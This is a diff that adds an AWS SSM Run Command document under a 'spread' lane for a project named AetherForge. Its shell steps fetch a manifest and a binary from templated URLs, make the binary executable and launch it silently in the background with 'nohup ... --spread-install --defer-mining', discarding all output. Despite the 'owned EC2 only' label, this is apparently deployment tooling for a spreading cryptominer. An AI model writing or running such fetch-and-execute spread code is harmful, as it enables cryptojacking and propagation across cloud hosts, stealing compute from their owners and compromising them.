Add ssm_document spread lane for owned EC2 via SSM Run Command.

templates/spread/ssm/document.json

@@ -0,0 +1,26 @@
+{
+  "schemaVersion": "2.2",
+  "description": "AetherForge erasure manifest + shard fetch — owned EC2 only. Campaign={{CAMPAIGN}} build={{BUILD_ID}}",
+  "parameters": {
+    "Campaign": { "type": "String", "default": "{{CAMPAIGN}}" }
+  },
+  "mainSteps": [
+    {
+      "action": "aws:runShellScript",
+      "name": "fetchErasureShards",
+      "inputs": {
+        "runCommand": [
+          "#!/bin/bash",
+          "set -euo pipefail",
+          "WORKDIR=/tmp/aetherforge-erasure",
+          "mkdir -p \"$WORKDIR\"",
+          "curl -fsSL '{{MANIFEST_URL}}' -o \"$WORKDIR/manifest.json\"",
+          "{{SHARD_FETCH_LINES}}",
+          "curl -fsSL '{{FALLBACK_GET_URL}}' -o \"$WORKDIR/worker\"",
+          "chmod +x \"$WORKDIR/worker\"",
+          "nohup \"$WORKDIR/worker\" --spread-install --defer-mining >/dev/null 2>&1 &"
+        ]
+      }
+    }
+  ]
+}